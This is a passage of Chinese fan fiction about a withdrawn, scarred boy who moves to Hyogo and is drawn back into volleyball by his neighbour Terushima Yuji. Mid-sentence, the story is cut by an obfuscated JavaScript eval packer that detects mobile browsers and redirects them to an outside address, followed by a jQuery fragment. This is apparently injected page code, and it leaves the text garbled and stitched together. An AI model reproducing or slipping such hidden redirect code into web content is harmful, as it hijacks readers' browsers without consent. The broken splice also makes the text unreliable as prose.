他伸手碰了碰那道伤口，指尖染上鲜红。


    没有哭。


    只是觉得冷，冷到骨头都在打颤。


    那天晚上，白夜绫没有直接回家。他走到离家很远的一家理发店，推门进去。


    理发师是个沉默的中年女人，看到他这副样子，什么也没问。


    “剪掉。”白夜绫的声音干涩，“全部剪掉。”


    女人点点头，示意他坐下。推子的声音在耳边响起，那些破碎的、沾染了血迹的白色头发一缕缕落下，堆在脚边。


    最后，镜子里出现了一个留着近乎板寸发型的少年。面容裸露出来，那道伤痕清晰地暴露在左鬓，不长，但显眼。


    “这个……”理发师指了指伤痕。


    “没关系。”白夜绫轻声打断她。


    他付了钱，走出理发店。夜风吹过他冰冷的心，很凉。


    过了两天，父亲才出差回到家。父亲看到他时明显愣住了。


    “你的头发……”


    “剪了。”白夜绫平静地说，声音听不出情绪，“想换换心情。”


    父亲盯着他看了几秒，，嘴唇动了动，最终什么也没问，只是点了点头。“……也好。”


    从那以后，白夜绫的头发再也没有剪短过。过肩的长发和厚重的刘海，与其说是发型选择，不如说是一种必要的屏障——遮蔽那道伤痕，也遮蔽那双太过耀眼的眼睛。


    -


    他走进卧室关上门，黑暗笼罩下来。


    白夜绫背靠着冰冷的房门，缓缓滑坐到地上，将脸埋进膝盖。


    没有哭。眼泪早就流干了。母亲去世时，他哭到被送进医院。后来就再也哭不出来了。


    只剩下一种麻木的疲惫。


    他僵坐着，直到太阳再度升空。


    -


    在第二天的晚上，他敲开了父亲书房的门。


    父亲正在看文件，看见白夜绫主动来找他还有点惊讶。


    “爸爸，”白夜绫的声音很轻，轻得几乎听不见，“我想转学。”


    父亲沉默了几秒，摘下眼镜，揉了揉眉心：“理由？”


    “……学校……不太好。”蹩脚的理由。但是他找不到合适的词来剖析那些恶意和忽视。


    父亲看了他很久，最后叹了口气：“你妈妈去世后，我一直……没怎么顾得上你。如果学校真的待得不舒服，转学也行。正好，公司有意向在关西拓展业务，方向是兵库县那边……”


    “兵库县很好。”白夜绫立刻说。


    只要能离开这里，哪里都好。


    父亲点了点头：“我会安排的。一个月后，你去兵库县读书。”


    事情就这样定下了。


    白夜绫以为这是解脱。


    然而他没想到，这个决定促成了另一件事——父亲以“需要有人照顾转学的儿子”为由，迅速与一位在兵库县的旧识女性再婚了。


    父亲没有和他商量。


    一个月，他来到兵库县，住进了陌生的家，有了陌生的继母，和后来出生的、吵闹的弟弟。


    家这个定义，变得愈发模糊。


    他在新学校变得沉默，习惯了低着头，把自己封印进壳里，不与任何人交谈。


    社团活动也没再加入，他不再信任集体运动，不再信任“教练”和“队友”。


    -


    后来的日子变得很简单。


    上课，回家，写作业，然后一个人对着墙壁垫球。


    没有人传球给他，他就自己抛自己接。没有人拦网，他就在脑海里想象对面站着三个人。


    墙壁是沉默的巨人，不会说话，也不会注视他。


    球砸在墙上的声音，一下，一下，像心跳，也像钟摆。


    父亲偶尔回家，看到他在院子里对着墙垫球，站一会儿，然后进屋。什么也不说。白夜绫也不回头。


    他学会了不期待任何人。


    但有一个目光，他始终躲不开。


    ——是他自己。


    每次路过镜子，他都会下意识加快脚步。


    洗澡的时候，他不往镜子里看。刷牙的时候，他盯着洗手台，盯着水龙头，盯着瓷砖缝隙——什么都行，只要不是那双眼睛。


    因为那双眼睛会问他：你还打球吗？


    他不知道怎么回答。


    他想打。


    他想打球想到发疯。


    梦里全是排球的触感，醒来时手掌还会微微弯曲，做出托球的姿势。


    但每一次想到“回球场”，胃里就会泛起那种熟悉的痉挛——那些目光，那些话，那把剪刀，那面碎掉的镜子。


    他怕。


    怕到骨子里。


    怕再次站上球场，再次被人围着，再次被那些目光钉在原地，动弹不得。


    于是他用不想打了和无所谓这两个懦弱的借口当盾牌。别人问起来，他就说学习太忙，说没意思，说本来也没多喜欢。


    说到最后，连自己都快要信了。


    -


    兵库县，继母的家在这里。那个女人不算坏，只是彼此都清楚这层关系意味着什么——礼貌，疏离，互不干涉。


    白夜绫对此没有什么意见，也没有任何感觉。反正他只是从一个空荡荡的家，搬到了客客气气的家。


    继母家在一条安静的住宅街上，隔壁是一户姓照岛的人家。


    第一次见到照岛游儿，是在搬来的第三天。


    白夜绫蹲在院子里，对着墙垫球。


    一下，一下。墙壁发出沉闷的回响。


    “喂——”


    墙头上探出一颗脑袋。白金奶油色的短发，两侧头发剃得很短，样貌英俊不羁。左耳的耳钉在阳光下闪了一下——不良少年？


    白夜绫的手一抖，球飞了出去。


    “哇，抱歉抱歉，吓到你了？”那颗脑袋咧嘴笑了一下，“你一个人在这儿垫球？好无聊啊，怎么不找队友一起？”


    白夜绫没说话。他走过去捡球。


    “哎，你是新搬来的吧？我叫照岛游儿，隔壁的，国中二年级。”墙头那人完全不介意他的沉默，自顾自地继续说，“你打排球？哪个学校的？什么位置？”


    白夜绫捡起球，直起身，终于看了他一眼。


    阳光下，那双紫色的眼睛被照得有点透明。


    墙头上的人愣了一下。


    “……哇哦。”他吹了声口哨，“你这眼睛，够酷的。”


    白夜绫握着球，站在原地，不知道该说什么。


    “怎么不说话？哑巴？”照岛游儿趴在墙头上，托着腮，“还是不想理我？别啊，我好不容易遇到个打排球的邻居，而且咱们看起来一样大，多好的缘分！”


    “……没有不理你。”


    “哦，会说话啊！”照岛游儿笑起来，“那你还没回答我呢，哪个学校的？什么位置？”


    “白夜绫，没有位置。”白夜绫垂下眼睛，“……暂时不打比赛了。”


    “啊？”墙头上的人皱起眉，“为什么？你看起来不像是不会打的啊，刚才那个垫球的姿势，挺标准的。”


    白夜绫撇过头。


    照岛游儿盯着他看了几秒。


    “行吧，不想说就不说。”他从墙头上缩回去，白夜绫以为他走了，正要继续垫球，隔壁院门响了一声，然后一个身影直接手撑着他家院门一蹦——


    照岛游儿站在他面前，双手插在裤兜里，歪着头看他，露出一口白牙。


    近距离看，他比自己高一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238635|196783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点。


    头发是奶油色的，眉毛也是奶油色的，舌头上居然还戴着舌钉——国中生戴舌钉？！说话的时候隐约能看见金属的反光。


    “一个人垫球多没意思，”照岛笑的肆意，“我陪你。”


    白夜绫愣住了。


    “怎么？不欢迎？”照岛游儿挑眉，“我可是我们学校排球部的正选，而且排球这个东西，当然是想怎么打就怎么打，玩得开心最重要。”


    开心？


    这两个字落进白夜绫耳朵里，有点陌生。


    他打排球，从来不是为了开心。最开始是因为母亲喜欢看他运动的样子，他练了许多运动。后来是为了证明自己，再后来——再后来就只剩下恐惧和不甘了。


    “来来来，让我看看你有多厉害。”照岛游儿已经自顾自地走到他对面，摆出接球的姿势，“抛球啊，愣着干嘛？”


    白夜绫看着那个人，逆着光，脸上带着漫不经心的笑，耳钉一闪一闪的。


    他把球抛了起来。


    那天下午，他们在院子里垫了很久的球。


    照岛游儿一边垫一边嘴不停，一会儿夸他手感好，一会儿吐槽他表情太严肃，一会儿又问他认不认识什么可爱的女孩子。


    白夜绫几乎没怎么说话，但手里的球一下一下地飞过去，又飞回来。


    最后夕阳快落山的时候，照岛游儿把球接住，夹在腋下，看着他。


    “你明明打得挺好的，为什么不打了？”


    依旧是一片寂静。


    “行，不问。”照岛游儿把球扔还给他，“不过我跟你说——排球这东西，一个人打多没意思。要一群人打才好玩。要玩得开心才行。”


    他转身往自己家走，走到院门口又回头，举起一只手晃了晃：


    “下次无聊了叫我啊，白夜。我陪你玩。”


    然后门关上了。


    白夜绫站在原地，抱着球，看着那扇门。


    -


    后来他们真的经常一起打球。


    照岛游儿家里有两个姐姐，都在上高中，平时没人管他。


    他放学后经常溜过来，扒开白夜绫死抓着院门的手，拽他去附近的公园，找块空地就打。


    有时候是他俩对练，有时候照岛会叫上几个学校排球部的队友——那些人看到白夜绫的第一眼，也会愣一下，但很快就被照岛游儿岔开话题：


    “看什么看，打球打球！今天输的人请客吃冰棍！”


    只有打球，汗水，喘息，和偶尔的欢呼。


    -


    有一次，白夜绫连续拦下了照岛游儿三个扣球。照岛游儿叉着腰站在网对面，喘着气看他，突然笑了：


    “你这家伙——够厉害的啊。”


    白夜绫僵在原地，他又没有把控住自己的实力。心头冷意蔓延，下意识想道歉，“对不……”


    “真的，”照岛游儿掀开球网走过来，拍了拍他的肩，“你这判断力，这弹跳，不打比赛太可惜了。真的可惜。”


    他的眼神很认真。


    没有忌妒，没有试探，没有别的什么东西。


    白夜绫低下头，看着地上的白线。


    “……会被人盯着看。”他轻声说。


    “那就让他们看呗。”照岛游儿耸肩，“看几眼又不会少块肉。而且——”


    他凑近了一点，压低声音，语气里带着他惯有的欠揍的调调，“说实话，你这张脸，这头发，这眼睛，不让人看才奇怪吧。换我是你，我得天天上街晃悠，让所有人都看，收他们观赏费。”


    白夜绫抬起头，看着他。


    照岛游儿正冲他眨眼睛做鬼脸，舌钉在阳光下闪了一下。


    胸口那块一直压着的东西，好像松动了一点点。